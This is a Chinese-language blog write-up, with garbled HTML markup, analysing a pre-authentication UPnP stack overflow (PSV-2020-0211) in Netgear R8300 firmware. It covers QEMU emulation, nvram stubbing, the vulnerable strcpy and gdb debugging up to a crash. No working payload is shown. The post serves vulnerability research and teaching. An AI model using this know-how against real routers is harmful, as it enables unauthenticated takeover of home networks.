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< p > < strong > 固件模拟与UPnP栈溢出利用< / strong > < br > < a href = "https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211" target = "_blank" rel = "noopener" > https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211< / a > < br > < a href = "https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/" target = "_blank" rel = "noopener" > https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/< / a > < br > < a href = "https://paper.seebug.org/1311/#1" target = "_blank" rel = "noopener" > https://paper.seebug.org/1311/#1< / a > < br > < a href = "https://www.anquanke.com/post/id/217606" target = "_blank" rel = "noopener" > https://www.anquanke.com/post/id/217606< / a > < / p >
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< h2 id = "0x00-漏洞概要" > < a href = "#0x00-漏洞概要" class = "headerlink" title = "0x00 漏洞概要" > < / a > < strong > 0x00 漏洞概要< / strong > < / h2 > < table >
< thead >
< tr >
< th > 漏洞编号：< / th >
< th > PSV-2020-0211< / th >
< / tr >
< / thead >
< tbody >
< tr >
< td > 披露时间：< / td >
< td > < em > 2020 -07-31 — < a href = "https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211" target = "_blank" rel = "noopener" > Netgear 官方发布安全公告< / a > < / em > 2020-08-18 – < a href = "https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/" target = "_blank" rel = "noopener" > 漏洞公开披露< / a > < / td >
< / tr >
< tr >
< td > 影响厂商：< / td >
< td > Netgear< / td >
< / tr >
< tr >
< td > 漏洞类型：< / td >
< td > 栈溢出漏洞< / td >
< / tr >
< tr >
< td > 漏洞评分（ ） ： < / td >
< td > 9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)< / td >
< / tr >
< tr >
< td > 利用条件：< / td >
< td > 该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务， < / td >
< / tr >
< tr >
< td > 漏洞成因：< / td >
< td > 该漏洞位于路由器的 UPnP 服务中， 由于解析 SSDP 协议数据包的代码存在缺陷，导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出，进一步控制 PC 执行任意代码。< / td >
< / tr >
< / tbody >
< / table >
< h2 id = "0x01-威胁范围" > < a href = "#0x01-威胁范围" class = "headerlink" title = "0x01 威胁范围" > < / a > < strong > 0x01 威胁范围< / strong > < / h2 > < table >
< thead >
< tr >
< th > 影响范围：< / th >
< th > R8300 running firmware versions prior to 1.0.2.134< / th >
< / tr >
< / thead >
< tbody >
< tr >
< td > ZoomEye查询结果： < / td >
< td > Netgear R8300共有579台设备暴露在互联网上， ， < / td >
< / tr >
< tr >
< td > —< / td >
< td > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/1_3.png" alt > < / td >
< / tr >
< tr >
< td > < / td >
< / tr >
< / tbody >
< / table >
< h2 id = "0x02-Qemu模拟" > < a href = "#0x02-Qemu模拟" class = "headerlink" title = "0x02 Qemu模拟" > < / a > 0x02 Qemu模拟< / h2 > < table >
< thead >
< tr >
< th > 真机调试< / th >
< th > 硬件调试接口< / th >
< th > uart< / th >
< / tr >
< / thead >
< tbody >
< tr >
< td > 历史RCE< / td >
< td > NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞< / td >
< / tr >
< tr >
< td > 设备后门开启telnet< / td >
< td > < a href = "https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500" target = "_blank" rel = "noopener" > Unlocking the Netgear Telnet Console< / a > < / td >
< / tr >
< tr >
< td > 固件篡改植入telnet< / td >
< td > < / td >
< / tr >
< tr >
< td > 固件模拟< / td >
< td > QEMU< / td >
< td > 现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。< / td >
< / tr >
< tr >
< td > 树莓派、开发板< / td >
< td > 只要 CPU 指令集对的上，就可以跑起来< / td >
< / tr >
< tr >
< td > firmadyne< / td >
< td > 基于qemu定制< / td >
< / tr >
< tr >
< td > Qemu STM32< / td >
< td > < / td >
< / tr >
< tr >
< td > Avatar< / td >
< td > 混合式仿真< / td >
< / tr >
< / tbody >
< / table >
< p > < a href = "http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf" target = "_blank" rel = "noopener" > 嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf< / a > < / p >
< p > 由于没有真机，我们采用了固件模拟的方式来搭建分析环境。< br > 首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 < a href = "http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip" target = "_blank" rel = "noopener" > http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip< / a > < br > 使用binwalk对固件中的特征字符串进行识别， < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ binwalk R8300-V1.0.2.130_1.0.99.chk< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > DECIMAL HEXADECIMAL DESCRIPTION< / span > < br > < span class = "line" > --------------------------------------------------------------------------------< / span > < br > < span class = "line" > 58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0< / span > < br > < span class = "line" > 86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes< / span > < br > < span class = "line" > 2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 使用 < code > binwalk -Me< / code > 提取出 Squashfs 文件系统， < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ file usr/sbin/upnpd< / span > < br > < span class = "line" > usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h3 id = "firmadyne" > < a href = "#firmadyne" class = "headerlink" title = "firmadyne" > < / a > firmadyne< / h3 > < p > 直接使用firmadyne模拟R8300固件失败， ， < br > 原因可能是：< / p >
< ul >
< li > firmadyne只支持armel、mipseb、 mipsel这三种系统内核， ， < a href = "https://people.debian.org/~aurel32/qemu/armhf/" target = "_blank" rel = "noopener" > https://people.debian.org/~aurel32/qemu/armhf/< / a > < / li >
< li > < p > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083836/netgear/image_28.png" alt > < / p >
< / li >
< li > < p > NVRAM库劫持失败， < a href = "https://github.com/firmadyne/libnvram" target = "_blank" rel = "noopener" > https://github.com/firmadyne/libnvram< / a > < / p >
< / li >
< / ul >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < span class = "line" > 42< / span > < br > < span class = "line" > 43< / span > < br > < span class = "line" > 44< / span > < br > < span class = "line" > 45< / span > < br > < span class = "line" > 46< / span > < br > < span class = "line" > 47< / span > < br > < span class = "line" > 48< / span > < br > < span class = "line" > 49< / span > < br > < span class = "line" > 50< / span > < br > < span class = "line" > 51< / span > < br > < span class = "line" > 52< / span > < br > < span class = "line" > 53< / span > < br > < span class = "line" > 54< / span > < br > < span class = "line" > 55< / span > < br > < span class = "line" > 56< / span > < br > < span class = "line" > 57< / span > < br > < span class = "line" > 58< / span > < br > < span class = "line" > 59< / span > < br > < span class = "line" > 60< / span > < br > < span class = "line" > 61< / span > < br > < span class = "line" > 62< / span > < br > < span class = "line" > 63< / span > < br > < span class = "line" > 64< / span > < br > < span class = "line" > 65< / span > < br > < span class = "line" > 66< / span > < br > < span class = "line" > 67< / span > < br > < span class = "line" > 68< / span > < br > < span class = "line" > 69< / span > < br > < span class = "line" > 70< / span > < br > < span class = "line" > 71< / span > < br > < span class = "line" > 72< / span > < br > < span class = "line" > 73< / span > < br > < span class = "line" > 74< / span > < br > < span class = "line" > 75< / span > < br > < span class = "line" > 76< / span > < br > < span class = "line" > 77< / span > < br > < span class = "line" > 78< / span > < br > < span class = "line" > 79< / span > < br > < span class = "line" > 80< / span > < br > < span class = "line" > 81< / span > < br > < span class = "line" > 82< / span > < br > < span class = "line" > 83< / span > < br > < span class = "line" > 84< / span > < br > < span class = "line" > 85< / span > < br > < span class = "line" > 86< / span > < br > < span class = "line" > 87< / span > < br > < span class = "line" > 88< / span > < br > < span class = "line" > 89< / span > < br > < span class = "line" > 90< / span > < br > < span class = "line" > 91< / span > < br > < span class = "line" > 92< / span > < br > < span class = "line" > 93< / span > < br > < span class = "line" > 94< / span > < br > < span class = "line" > 95< / span > < br > < span class = "line" > 96< / span > < br > < span class = "line" > 97< / span > < br > < span class = "line" > 98< / span > < br > < span class = "line" > 99< / span > < br > < span class = "line" > 100< / span > < br > < span class = "line" > 101< / span > < br > < span class = "line" > 102< / span > < br > < span class = "line" > 103< / span > < br > < span class = "line" > 104< / span > < br > < span class = "line" > 105< / span > < br > < span class = "line" > 106< / span > < br > < span class = "line" > 107< / span > < br > < span class = "line" > 108< / span > < br > < span class = "line" > 109< / span > < br > < span class = "line" > 110< / span > < br > < span class = "line" > 111< / span > < br > < span class = "line" > 112< / span > < br > < span class = "line" > 113< / span > < br > < span class = "line" > 114< / span > < br > < span class = "line" > 115< / span > < br > < span class = "line" > 116< / span > < br > < span class = "line" > 117< / span > < br > < span class = "line" > 118< / span > < br > < span class = "line" > 119< / span > < br > < span class = "line" > 120< / span > < br > < span class = "line" > 121< / span > < br > < span class = "line" > 122< / span > < br > < span class = "line" > 123< / span > < br > < span class = "line" > 124< / span > < br > < span class = "line" > 125< / span > < br > < span class
< h3 id = "Qemu自定义" > < a href = "#Qemu自定义" class = "headerlink" title = "Qemu自定义" > < / a > Qemu自定义< / h3 > < ol >
< li > < strong > 配置arm虚拟机< / strong > < / li >
< / ol >
< p > 使用Qemu模拟固件需要下载对应的arm虚拟机镜像， < br > < a href = "https://people.debian.org/~aurel32/qemu/armhf/" target = "_blank" rel = "noopener" > https://people.debian.org/~aurel32/qemu/armhf/< / a > < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > [debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M < / span > < br > < span class = "line" > [initrd.img-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress) 2013-12-17 01:57 2.2M < / span > < br > < span class = "line" > [vmlinuz-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress) 2013-09-20 18:33 1.9M< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 标准的虚拟机启动命令为< / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > - qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append " root=/dev/mmcblk0p2" < / span > < br > < span class = "line" > - qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_desktop.qcow2 -append " root=/dev/mmcblk0p2" < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 对于R8300固件， ， ： < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > `sudo tunctl -t tap0 -u `whoami`< / span > < br > < span class = "line" > sudo ifconfig tap0 192.168.2.1/24< / span > < br > < span class = "line" > qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append " root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic`< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 与标准命令区别在于< code > -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic< / code > < br > 启动之后输入用户名和密码，都是 root， ： < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > `root@debian-armhf:~# ifconfig eth0 ``192.168``.``2.2``/``24`< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 这样 Host 和虚拟机就网络互通了，然后挂载 proc、dev， < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > `root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc< / span > < br > < span class = "line" > root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev< / span > < br > < span class = "line" > root@debian-armhf:~# chroot ./squashfs-root/ sh`< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< ol >
< li > < strong > 修复依赖< / strong > < / li >
< / ol >
< p > NVRAM( 非易失性 RAM) 用于存储路由器的配置信息，而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下，我们可以使用 < code > LD_PRELOAD< / code > 劫持以下函数符号。手动创建 < code > /tmp/var/run< / code > 目录，再次运行提示缺少 < code > /dev/nvram< / code > 。< / p >
< ul >
< li > < p > 编译nvram.so< / p >
< p > < a href = "https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c" target = "_blank" rel = "noopener" > https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c< / a > < / p >
< / li >
< / ul >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > $ arm-linux-gcc -Wall -fPIC -shared nvram.c -o nvram.so< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< ul >
< li > 劫持< code > dlsym< / code > < / li >
< / ul >
< p > nvram库的实现者还同时 hook 了 < code > system< / code > 、< code > fopen< / code > 、< code > open< / code > 等函数，因此还会用到 < code > dlsym< / code > ， < code > /lib/libdl.so.0< / code > 导出了该符号。< / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > `$ grep ``-``r ``" dlsym" `` ``.`< / span > < br > < span class = "line" > `Binary`` file ``./``lib``/``libcrypto``.``so``.``1.0``.``0`` matches`< / span > < br > < span class = "line" > `Binary`` file ``./``lib``/``libdl``.``so``.``0`` matches`< / span > < br > < span class = "line" > `Binary`` file ``./``lib``/``libhcrypto``-``samba4``.``so``.``5`` matches`< / span > < br > < span class = "line" > `Binary`` file ``./``lib``/``libkrb5``-``samba4``.``so``.``26`` matches`< / span > < br > < span class = "line" > `Binary`` file ``./``lib``/``libldb``.``so``.``1`` matches`< / span > < br > < span class = "line" > `Binary`` file ``./``lib``/``libsamba``-``modules``-``samba4``.``so matches`< / span > < br > < span class = "line" > `Binary`` file ``./``lib``/``libsqlite3``.``so``.``0`` matches`< / span > < br > < span class = "line" > `grep``:`` ``./``lib``/``modules``/``2.6``.``36.4brcmarm``+:`` ``No`` such file ``or`` directory`< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > $ `readelf ``-``a `**`./``lib``/``libdl``.``so``.`**`**0**`` ``|`` grep dlsym`< / span > < br > < span class = "line" > ` ``26``:`` ``000010f0`` ``296`` FUNC GLOBAL DEFAULT ``7`` dlsym`< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< ul >
< li > 配置tmp/nvram.ini信息< / li >
< / ul >
< p > 接下来要做的就是根据上面的日志补全配置信息，也可以参考< a href = "https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置， （ ） target = "_blank" rel = "noopener" > https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置， （ ） < / a > < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > `upnpd_debug_level=9< / span > < br > < span class = "line" > lan_ipaddr=192.168.2.2< / span > < br > < span class = "line" > hwver=R8500< / span > < br > < span class = "line" > friendly_name=R8300< / span > < br > < span class = "line" > upnp_enable=1< / span > < br > < span class = "line" > upnp_turn_on=1< / span > < br > < span class = "line" > upnp_advert_period=30< / span > < br > < span class = "line" > upnp_advert_ttl=4< / span > < br > < span class = "line" > upnp_portmap_entry=1< / span > < br > < span class = "line" > upnp_duration=3600< / span > < br > < span class = "line" > upnp_DHCPServerConfigurable=1< / span > < br > < span class = "line" > wps_is_upnp=0< / span > < br > < span class = "line" > upnp_sa_uuid=00000000000000000000< / span > < br > < span class = "line" > lan_hwaddr=AA:BB:CC:DD:EE:FF`< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< ul >
< li > 运行过程< / li >
< / ul >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > **# ./usr/sbin/upnpd**< / span > < br > < span class = "line" > # /dev/nvram: No such file or directory< / span > < br > < span class = "line" > /dev/nvram: No such file or directory< / span > < br > < span class = "line" > /dev/nvram: No such file or directory< / span > < br > < span class = "line" > /dev/nvram: No such file or directory< / span > < br > < span class = "line" > /dev/nvram: No such file or directory< / span > < br > < span class = "line" > /dev/nvram: No such file or directory< / span > < br > < span class = "line" > /dev/nvram: No such file or directory< / span > < br > < span class = "line" > /dev/nvram: No such file or directory< / span > < br > < span class = "line" > /dev/nvram: No such file or directory< / span > < br > < span class = "line" > /dev/nvram: No such file or directory< / span > < br > < span class = "line" > /dev/nvram: No such file or directory< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > **# LD_PRELOAD=" ./nvram.so" ./usr/sbin/upnpd**< / span > < br > < span class = "line" > # ./usr/sbin/upnpd: can' t resolve symbol ' dlsym' < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > **# LD_PRELOAD=" ./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd**< / span > < br > < span class = "line" > # [0x00026460] fopen(' /var/run/upnpd.pid' , ' wb+' ) = 0x00b19008< / span > < br > < span class = "line" > [0x0002648c] custom_nvram initialised< / span > < br > < span class = "line" > [0x76eb7cb8] **fopen****(' /tmp/nvram.ini' , ' r' ) = 0x00b19008**< / span > < br > < span class = "line" > [nvram 0] upnpd_debug_level = 9< / span > < br > < span class = "line" > [nvram 1] lan_ipaddr = 192.168.2.2< / span > < br > < span class = "line" > [nvram 2] hwver = R8500< / span > < br > < span class = "line" > [nvram 3] friendly_name = R8300< / span > < br > < span class = "line" > [nvram 4] upnp_enable = 1< / span > < br > < span class = "line" > [nvram 5] upnp_turn_on = 1< / span > < br > < span class = "line" > [nvram 6] upnp_advert_period = 30< / span > < br > < span class = "line" > [nvram 7] upnp_advert_ttl = 4< / span > < br > < span class = "line" > [nvram 8] upnp_portmap_entry = 1< / span > < br > < span class = "line" > [nvram 9] upnp_duration = 3600< / span > < br > < span class = "line" > [nvram 10] upnp_DHCPServerConfigurable = 1< / span > < br > < span class = "line" > [nvram 11] wps_is_upnp = 0< / span > < br > < span class = "line" > [nvram 12] upnp_sa_uuid = 00000000000000000000< / span > < br > < span class = "line" > [nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF< / span > < br > < span class = "line" > [nvram 14] lan_hwaddr =< / span > < br > < span class = "line" > Read 15 entries from /tmp/nvram.ini< / span > < br > < span class = "line" > acosNvramConfig_get(' upnpd_debug_level' ) = ' 9' < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h2 id = "0x03-静态分析" > < a href = "#0x03-静态分析" class = "headerlink" title = "0x03 静态分析" > < / a > 0x03 静态分析< / h2 > < p > 该漏洞的原理是使用strcpy函数不当， ， < br > 首先upnpd服务在< code > sub_1D020()< / code > 中使用< code > recvfrom()< / code > 从套接字接收UDP数据包， ， < / p >
< blockquote >
< p > < strong > recvfrom< / strong > recvfrom函数(经socket接收数据):< / p >
< / blockquote >
< blockquote >
< p > 函数原型:int recvfrom(SOCKET s,void < strong > *buf< / strong > ,int < strong > len< / strong > ,unsigned int flags, struct sockaddr < em > from,int < / em > fromlen);< / p >
< / blockquote >
< blockquote >
< p > 相关函数 recv， ， ， ， < / p >
< / blockquote >
< blockquote >
< p > 函数说明:< a href = "https://baike.baidu.com/item/recv%28%29" target = "_blank" rel = "noopener" > recv()< / a > 用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的< a href = "https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E5%9C%B0%E5%9D%80" target = "_blank" rel = "noopener" > 网络地址< / a > ,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.< / p >
< / blockquote >
< p > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083882/netgear/image_29.png" alt > < br > 在 < code > sub_25E04()< / code > 中调用 < code > strcpy()< / code > 将以上数据拷贝到大小为 < code > 0x634 - 0x58 = 0x5dc< / code > 的 buffer。如果超过缓冲区大小， < br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083972/netgear/image_30.png" alt > < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > ` ``+-----------------+`< / span > < br > < span class = "line" > ` ``|`` retaddr ``|`< / span > < br > < span class = "line" > ` ``+-----------------+`< / span > < br > < span class = "line" > ` ``|`` saved ebp ``|`< / span > < br > < span class = "line" > ` ebp``---> +-----------------+`< / span > < br > < span class = "line" > ` ``|`` ``|`< / span > < br > < span class = "line" > ` ``|`` ``|< / span > < br > < span class = "line" > | |< / span > < br > < span class = "line" > s,ebp-0x58--> +-----------------+`< / span > < br > < span class = "line" > ` ``|`` ``|`< / span > < br > < span class = "line" > ` ``|`` buffer ``|`< / span > < br > < span class = "line" > ` ``|`` ``|`< / span > < br > < span class = "line" > ` ``|`` ``|`< / span > < br > < span class = "line" > ` v40``,``ebp``-``0x634``--> +-----------------+`< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h2 id = "0x04-动态调试" > < a href = "#0x04-动态调试" class = "headerlink" title = "0x04 动态调试" > < / a > 0x04 动态调试< / h2 > < p > 使用gdbserver调试目标程序< a href = "https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver" target = "_blank" rel = "noopener" > https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver< / a > < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > # ps|grep upnp< / span > < br > < span class = "line" > 2714 0 3324 S ./usr/sbin/upnpd< / span > < br > < span class = "line" > 2788 0 1296 S grep upnp< / span > < br > < span class = "line" > # ./gdbserver 127.0.0.1:12345 --attach 2714< / span > < br > < span class = "line" > Attached; pid = 2714< / span > < br > < span class = "line" > Listening on port 12345< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 工作机上使用跨平台试gdb-multiarch< br > < code > gdb-multiarch -x dbgscript< / code > < br > dbgscript 内容< / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > `set`` architecture arm`< / span > < br > < span class = "line" > `gef``-``remote ``-``q ``192.168``.2``.1``:``12345`< / span > < br > < span class = "line" > `file usr``/``sbin``/``upnpd`< / span > < br > < span class = "line" > `set`` remote ``exec``-``file ``/``usr``/``sbin``/upnpd`< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 直接构造溢出字符， ， ， < br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/image_23.png" alt > < / p >
